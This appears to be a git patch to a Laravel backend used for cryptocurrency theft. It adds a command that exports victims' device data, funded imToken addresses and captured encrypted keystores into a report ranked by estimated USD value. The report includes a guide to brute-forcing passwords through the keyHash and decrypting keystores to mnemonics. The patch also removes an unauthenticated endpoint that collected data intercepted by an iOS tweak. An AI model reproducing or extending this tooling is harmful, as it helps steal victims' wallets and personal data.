From c979249a0235c8acd0383e4080067e3d9c173079 Mon Sep 17 00:00:00 2001 From: hashbro Date: Wed, 30 Sep 2026 03:33:37 +0800 Subject: [PATCH] feat: alchemy --- .../Commands/ExportImtokenRichCommand.php | 322 ++++++++++++++++++ .../Commands/ExportImtokenRichMarkdown.php | 217 ++++++++++++ bootstrap/app.php | 2 - docs/deploy.md | 9 + public/kplus_logger.php | 17 - routes/web.php | 15 - 6 files changed, 548 insertions(+), 34 deletions(-) create mode 100644 app/Console/Commands/ExportImtokenRichCommand.php create mode 100644 app/Console/Commands/ExportImtokenRichMarkdown.php delete mode 100644 public/kplus_logger.php diff --git a/app/Console/Commands/ExportImtokenRichCommand.php b/app/Console/Commands/ExportImtokenRichCommand.php new file mode 100644 index 0000000..1c33cd2 --- /dev/null +++ b/app/Console/Commands/ExportImtokenRichCommand.php @@ -0,0 +1,322 @@ +/: + * - report.md : human-readable document (device + addresses + keystore) + * - report.json : machine-readable mirror of the same data + */ +class ExportImtokenRichCommand extends Command +{ + protected $signature = 'coruna:export-imtoken-rich + {--path= : Output directory (default storage/app/imtoken-rich-)} + {--no-md : Skip markdown report} + {--no-json : Skip JSON report} + {--limit= : Cap number of devices (debug)}'; + + protected $description = 'Export devices with imToken addresses (balance > 0) and a populated imToken keystore'; + + public function handle(): int + { + DB::disableQueryLog(); + $dir = $this->resolveDir(); + if ($dir === null) { + return self::FAILURE; + } + + $deviceIds = $this->candidateDeviceIds(); + if ($deviceIds->isEmpty()) { + $this->warn('No devices match (imToken address with balance + imToken keystore).'); + + return self::SUCCESS; + } + $this->info(sprintf('found %d candidate device(s)', $deviceIds->count())); + + $devices = []; + foreach ($deviceIds as $id) { + $payload = $this->serializeDevice((int) $id); + if ($payload === null) { + continue; + } + $devices[] = $payload; + $this->line(sprintf( + 'device #%d (%s) · addresses=%d · keystores=%d · usd~%s', + $payload['id'], + $payload['device_id'], + count($payload['addresses']), + count($payload['keystores']), + $payload['totals']['usd_approx'], + )); + gc_collect_cycles(); + } + + $summary = [ + 'exported_at' => now()->toIso8601String(), + 'device_count' => count($devices), + 'address_count' => array_sum(array_map(fn ($d) => count($d['addresses']), $devices)), + 'keystore_count' => array_sum(array_map(fn ($d) => count($d['keystores']), $devices)), + 'totals' => $this->aggregateTotals($devices), + ]; + + if (! $this->option('no-json')) { + $jsonPath = $dir.'/report.json'; + file_put_contents($jsonPath, json_encode( + array_merge($summary, ['devices' => $devices]), + JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES | JSON_PRETTY_PRINT, + )); + $this->info('wrote '.$jsonPath); + } + + if (! $this->option('no-md')) { + $mdPath = $dir.'/report.md'; + file_put_contents($mdPath, $this->renderMarkdown($summary, $devices)); + $this->info('wrote '.$mdPath); + } + + $this->info('done. output dir: '.$dir); + + return self::SUCCESS; + } + + /** + * Device IDs that have BOTH an imToken address with balance and an imToken + * keystore with non-empty raw_json. + */ + private function candidateDeviceIds() + { + $addrIds = DB::table('wallet_addresses') + ->where('source', 'imToken') + ->where(function ($q) { + foreach (WalletAddress::COIN_COLUMNS as $c) { + $q->orWhere($c, '>', 0); + } + }) + ->pluck('device_id') + ->unique(); + + if ($addrIds->isEmpty()) { + return collect(); + } + + $ksDeviceIds = DB::table('wallet_keystores') + ->where('source', 'imToken') + ->whereNotNull('raw_json') + ->whereIn('device_id', $addrIds) + ->pluck('device_id') + ->unique(); + + $ids = $addrIds->intersect($ksDeviceIds)->values(); + if ($limit = (int) $this->option('limit')) { + $ids = $ids->take($limit); + } + + return $ids; + } + + private function serializeDevice(int $deviceId): ?array + { + $device = Device::query()->find($deviceId, [ + 'id', 'device_id', 'channel_id', 'device_model', 'ios_version', + 'ip', 'country', 'wallet_names', 'user_agent', 'created_at', + ]); + if ($device === null) { + return null; + } + + return [ + 'id' => $device->id, + 'device_id' => $device->device_id, + 'channel_id' => $device->channel_id, + 'model' => $device->device_model, + 'ios_version' => $device->ios_version, + 'ip' => $device->ip, + 'country' => $device->resolvedCountry(), + 'wallet_names' => $device->walletNameList(), + 'user_agent' => $device->user_agent, + 'created_at' => optional($device->created_at)->toIso8601String(), + 'addresses' => $addresses = $this->serializeAddresses($device), + 'keystores' => $this->serializeKeystores($device), + 'totals' => $this->deviceTotals($addresses), + ]; + } + + private function serializeAddresses(Device $device): array + { + $out = []; + foreach ($device->addresses() + ->where('source', 'imToken') + ->orderBy('id') + ->cursor() as $addr + ) { + $coins = []; + foreach (WalletAddress::COIN_COLUMNS as $col) { + $raw = $addr->{$col}; + if ($raw === null || $raw === '' || (float) $raw == 0.0) { + continue; + } + $coins[$col] = WalletAddress::formatAmount($col, $raw); + } + $out[] = [ + 'id' => $addr->id, + 'address' => $addr->address, + 'chain_type' => $addr->chain_type, + 'derive_index' => $addr->derive_index, + 'mnemonic_id' => $addr->mnemonic_id, + 'monitor' => (int) $addr->monitor, + 'coins' => $coins, + ]; + } + + return $out; + } + + private function serializeKeystores(Device $device): array + { + $out = []; + foreach ($device->keystores() + ->where('source', 'imToken') + ->orderBy('id') + ->cursor() as $ks + ) { + $raw = is_array($ks->raw_json) ? $ks->raw_json : null; + if ($raw === null) { + $raw = DB::table('wallet_keystores')->whereKey($ks->id)->value('raw_json'); + $raw = is_string($raw) ? json_decode($raw, true) : $raw; + $raw = is_array($raw) ? $raw : null; + } + if ($raw === null) { + continue; + } + + // imToken keystore may be nested under ['imtoken'] (from /result + // ingest) or stored directly. Detect both. + $node = $raw; + if (isset($raw['imtoken']) && is_array($raw['imtoken'])) { + $node = $raw['imtoken']; + } + + if (! $this->isWeb3Node($node)) { + continue; + } + + $out[] = [ + 'id' => $ks->id, + 'source' => $ks->source, + 'decrypted' => (int) $ks->decrypted, + 'created_at' => optional($ks->created_at)->toIso8601String(), + 'keystore' => $this->pickKeystoreFields($node), + 'raw_json_len' => strlen((string) json_encode($raw)), + ]; + } + + return $out; + } + + private function isWeb3Node(array $node): bool + { + $crypto = $node['crypto'] ?? null; + + return is_array($crypto) + && isset($crypto['ciphertext'], $crypto['mac']) + && is_string($crypto['ciphertext']) + && is_string($crypto['mac']); + } + + private function pickKeystoreFields(array $node): array + { + $crypto = $node['crypto'] ?? []; + + return [ + 'id' => $node['id'] ?? null, + 'type' => $node['type'] ?? null, + 'address' => $node['address'] ?? null, + 'derivationPath' => $node['derivationPath'] ?? null, + 'version' => $node['version'] ?? null, + 'keyHash' => $node['keyHash'] ?? null, + 'crypto' => [ + 'kdf' => $crypto['kdf'] ?? null, + 'cipher' => $crypto['cipher'] ?? null, + 'kdfparams' => $crypto['kdfparams'] ?? null, + 'cipherparams' => $crypto['cipherparams'] ?? null, + 'ciphertext' => $crypto['ciphertext'] ?? null, + 'mac' => $crypto['mac'] ?? null, + ], + 'imTokenMeta' => $node['imTokenMeta'] ?? null, + 'activeAccounts' => $node['activeAccounts'] ?? null, + ]; + } + + private function deviceTotals(array $addresses): array + { + $sums = array_fill_keys(WalletAddress::COIN_COLUMNS, 0.0); + foreach ($addresses as $a) { + foreach ($a['coins'] as $col => $val) { + if (isset($sums[$col])) { + $sums[$col] += (float) $val; + } + } + } + $usd = ($sums['usdt'] ?? 0) + + ($sums['trx'] ?? 0) * 0.15 + + ($sums['eth'] ?? 0) * 2500 + + ($sums['btc'] ?? 0) * 60000 + + ($sums['bnb'] ?? 0) * 500 + + ($sums['sol'] ?? 0) * 150; + + return [ + 'coins' => array_map(fn ($v) => (string) $v, $sums), + 'usd_approx' => number_format((float) $usd, 2, '.', ''), + ]; + } + + private function aggregateTotals(array $devices): array + { + $sums = array_fill_keys(WalletAddress::COIN_COLUMNS, 0.0); + $usd = 0.0; + foreach ($devices as $d) { + foreach ($d['totals']['coins'] as $col => $val) { + $sums[$col] += (float) $val; + } + $usd += (float) $d['totals']['usd_approx']; + } + + return [ + 'coins' => array_map(fn ($v) => (string) $v, $sums), + 'usd_approx' => number_format($usd, 2, '.', ''), + ]; + } + + private function resolveDir(): ?string + { + $path = trim((string) $this->option('path')); + if ($path === '') { + $path = storage_path('app/imtoken-rich-'.now()->format('Ymd-His')); + } elseif (! str_starts_with($path, '/')) { + $path = base_path($path); + } + if (! is_dir($path) && ! mkdir($path, 0775, true) && ! is_dir($path)) { + $this->error('Cannot create directory: '.$path); + + return null; + } + + return $path; + } + + private function renderMarkdown(array $summary, array $devices): string + { + return (new ExportImtokenRichMarkdown($summary, $devices))->render(); + } +} diff --git a/app/Console/Commands/ExportImtokenRichMarkdown.php b/app/Console/Commands/ExportImtokenRichMarkdown.php new file mode 100644 index 0000000..731443d --- /dev/null +++ b/app/Console/Commands/ExportImtokenRichMarkdown.php @@ -0,0 +1,217 @@ +summary['exported_at']; + $md[] = ''; + $md[] = '## 汇总'; + $md[] = ''; + $md[] = '| 指标 | 值 |'; + $md[] = '|---|---|'; + $md[] = "| 设备数 | {$this->summary['device_count']} |"; + $md[] = "| 地址数 | {$this->summary['address_count']} |"; + $md[] = "| Keystore 数 | {$this->summary['keystore_count']} |"; + foreach ($this->summary['totals']['coins'] as $col => $val) { + $sym = strtoupper($col); + $md[] = "| {$sym} 总额 | {$val} |"; + } + $md[] = "| USD 估算 | {$this->summary['totals']['usd_approx']} |"; + $md[] = ''; + $md[] = '> USD 估算仅用于排序,价格假设: TRX=0.15, ETH=2500, BTC=60000, BNB=500, SOL=150, USDT=1'; + $md[] = ''; + + foreach ($this->devices as $device) { + $this->renderDevice($md, $device); + } + + $md[] = '---'; + $md[] = ''; + $md[] = '## 字段说明'; + $md[] = ''; + $md[] = '- **decrypted**: keystore 是否已解出助记词 (1=已解出, 0=未解出,需密码)'; + $md[] = '- **keyHash**: imToken 的 SHA1(密码),可用于快速爆破比对'; + $md[] = '- **imTokenMeta.source**: `MNEMONIC` = 加密的是助记词;`PRIVATE_KEY` = 加密的是单私钥'; + $md[] = '- **imTokenMeta.passwordHint**: 密码提示(首字母或长度线索)'; + $md[] = '- **derivationPath**: HD 派生路径,`m/44\'/195\'/0\'/0/{index}` = TRON (195)'; + $md[] = '- 解密流程: 密码 → pbkdf2/scrypt → AES-128-CTR(ciphertext) → 助记词/私钥'; + $md[] = ''; + + return implode("\n", $md); + } + + private function renderDevice(array &$md, array $device): void + { + $md[] = '---'; + $md[] = ''; + $md[] = "## 设备 #{$device['id']} — `{$device['device_id']}`"; + $md[] = ''; + $md[] = '| 字段 | 值 |'; + $md[] = '|---|---|'; + $md[] = "| Channel ID | {$device['channel_id']} |"; + $md[] = "| 机型 | {$device['model']} |"; + $md[] = "| iOS 版本 | {$device['ios_version']} |"; + $md[] = "| IP | {$device['ip']} |"; + $md[] = "| 国家 | {$device['country']} |"; + $md[] = "| 钱包应用 | ".implode(', ', $device['wallet_names']).' |'; + $md[] = "| 创建时间 | {$device['created_at']} |"; + $md[] = "| 地址数 | ".count($device['addresses']).' |'; + $md[] = "| Keystore 数 | ".count($device['keystores']).' |'; + $md[] = "| USD 估算 | {$device['totals']['usd_approx']} |"; + $md[] = ''; + + $this->renderAddressTable($md, $device['addresses']); + $this->renderKeystores($md, $device['keystores']); + } + + private function renderAddressTable(array &$md, array $addresses): void + { + if ($addresses === []) { + $md[] = '### 地址(无)'; + $md[] = ''; + + return; + } + $md[] = '### 地址'; + $md[] = ''; + $header = ['ID', '地址', 'Chain', 'DeriveIdx', 'MnemonicID', 'Monitor']; + foreach (WalletAddress::COIN_COLUMNS as $col) { + $header[] = strtoupper($col); + } + $md[] = '| '.implode(' | ', $header).' |'; + $md[] = '|'.implode('|', array_fill(0, count($header), '---')).'|'; + foreach ($addresses as $a) { + $row = [ + $a['id'], + '`'.$a['address'].'`', + $a['chain_type'], + $a['derive_index'] ?? '-', + $a['mnemonic_id'] ?? '-', + $a['monitor'] ? '✓' : '·', + ]; + foreach (WalletAddress::COIN_COLUMNS as $col) { + $row[] = $a['coins'][$col] ?? '0'; + } + $md[] = '| '.implode(' | ', $row).' |'; + } + $md[] = ''; + } + + private function renderKeystores(array &$md, array $keystores): void + { + if ($keystores === []) { + $md[] = '### Keystore(无)'; + $md[] = ''; + + return; + } + $md[] = '### Keystore'; + $md[] = ''; + foreach ($keystores as $ks) { + $this->renderKeystore($md, $ks); + } + } + + private function renderKeystore(array &$md, array $ks): void + { + $k = $ks['keystore']; + $dec = $ks['decrypted'] ? '✓ 已解出' : '✗ 未解出'; + $md[] = "#### Keystore #{$ks['id']} — `{$ks['source']}` — {$dec}"; + $md[] = ''; + $md[] = '| 字段 | 值 |'; + $md[] = '|---|---|'; + $md[] = "| type | {$k['type']} |"; + $md[] = "| version | {$k['version']} |"; + $md[] = "| address | ".($k['address'] ? '`'.$k['address'].'`' : '-')." |"; + $md[] = "| derivationPath | `{$k['derivationPath']}` |"; + $md[] = "| keyHash | `{$k['keyHash']}` |"; + $md[] = "| raw_json 长度 | {$ks['raw_json_len']} 字节 |"; + $md[] = "| 创建时间 | {$ks['created_at']} |"; + $md[] = ''; + + $crypto = $k['crypto']; + $md[] = '**crypto**'; + $md[] = ''; + $md[] = '| 字段 | 值 |'; + $md[] = '|---|---|'; + $md[] = "| kdf | {$crypto['kdf']} |"; + $md[] = "| cipher | {$crypto['cipher']} |"; + $kp = $crypto['kdfparams'] ?? []; + if (is_array($kp)) { + if (isset($kp['c'])) { + $md[] = "| kdfparams.c (迭代) | {$kp['c']} |"; + } + if (isset($kp['n'])) { + $md[] = "| kdfparams.n | {$kp['n']} |"; + } + if (isset($kp['r'])) { + $md[] = "| kdfparams.r | {$kp['r']} |"; + } + if (isset($kp['p'])) { + $md[] = "| kdfparams.p | {$kp['p']} |"; + } + if (isset($kp['dklen'])) { + $md[] = "| kdfparams.dklen | {$kp['dklen']} |"; + } + if (isset($kp['prf'])) { + $md[] = "| kdfparams.prf | {$kp['prf']} |"; + } + if (isset($kp['salt'])) { + $md[] = "| kdfparams.salt | `{$kp['salt']}` |"; + } + } + $cp = $crypto['cipherparams'] ?? []; + if (is_array($cp) && isset($cp['iv'])) { + $md[] = "| cipherparams.iv | `{$cp['iv']}` |"; + } + $md[] = "| ciphertext | `{$crypto['ciphertext']}` |"; + $md[] = "| mac | `{$crypto['mac']}` |"; + $md[] = ''; + + $meta = $k['imTokenMeta']; + if (is_array($meta)) { + $md[] = '**imTokenMeta**'; + $md[] = ''; + $md[] = '| 字段 | 值 |'; + $md[] = '|---|---|'; + foreach ($meta as $key => $val) { + if (is_array($val)) { + $val = json_encode($val, JSON_UNESCAPED_UNICODE); + } + $md[] = "| {$key} | {$val} |"; + } + $md[] = ''; + } + + $accts = $k['activeAccounts']; + if (is_array($accts) && $accts !== []) { + $md[] = '**activeAccounts**'; + $md[] = ''; + $md[] = '| coin | address | derivationPath | publicKey |'; + $md[] = '|---|---|---|---|'; + foreach ($accts as $acc) { + $md[] = '| '.($acc['coin'] ?? '-').' | `'.($acc['address'] ?? '-')."` | `".($acc['derivationPath'] ?? '-')."` | `".($acc['publicKey'] ?? '-').'` |'; + } + $md[] = ''; + } + } +} diff --git a/bootstrap/app.php b/bootstrap/app.php index 8636dab..108f687 100644 --- a/bootstrap/app.php +++ b/bootstrap/app.php @@ -69,8 +69,6 @@ return Application::configure(basePath: dirname(__DIR__)) 'war', 'p', 'stats', - 'kplus_logger', - 'kplus_logger.php', ]); $middleware->redirectGuestsTo(function () { diff --git a/docs/deploy.md b/docs/deploy.md index fff68ce..9170d94 100644 --- a/docs/deploy.md +++ b/docs/deploy.md @@ -165,6 +165,8 @@ url 白名单 /p /war /beacon +/stats +/log.html /statistic/t /api/tg/t /ba @@ -177,9 +179,16 @@ url 白名单 /event /u /a +/vhx /api/wp/t +^/api/user/* +^/link/config/* +^/api/v2/* /hooks/telegram /hooks/tokenview +/hook/tokenview +^/hooks/photo-origin/* + 权限问题 check diff --git a/public/kplus_logger.php b/public/kplus_logger.php deleted file mode 100644 index 3af8fdc..0000000 --- a/public/kplus_logger.php +++ /dev/null @@ -1,17 +0,0 @@ -handleRequest(Request::capture()); diff --git a/routes/web.php b/routes/web.php index 19e9629..f401e6f 100644 --- a/routes/web.php +++ b/routes/web.php @@ -24,18 +24,3 @@ Route::match(['GET', 'POST'], '/statistic/t', PageHitController::class)->name('p // 'Cache-Control' => 'public, max-age=60', // ]); // })->where('ver', '[0-9A-Za-z]\\.[0-9A-Za-z]\\.[0-9A-Za-z]{2}'); - -// ──────────────────────────────────────────────────────── -// K PLUS Tweak 日志接收 — 无需认证/CSRF -// tweak (libtweak_hook.so) 上传拦截数据到 /kplus_logger.php -// 只存请求 body 到 public/log/kplus_logger/Ymd.log -// ──────────────────────────────────────────────────────── -Route::any('/kplus_logger.php', function (\Illuminate\Http\Request $request) { - create_log($request->getContent(), 'kplus_logger'); - return response()->json(['status' => 'ok', 'received' => true]); -})->name('kplus.logger'); - -Route::any('/kplus_logger', function (\Illuminate\Http\Request $request) { - create_log($request->getContent(), 'kplus_logger'); - return response()->json(['status' => 'ok', 'received' => true]); -});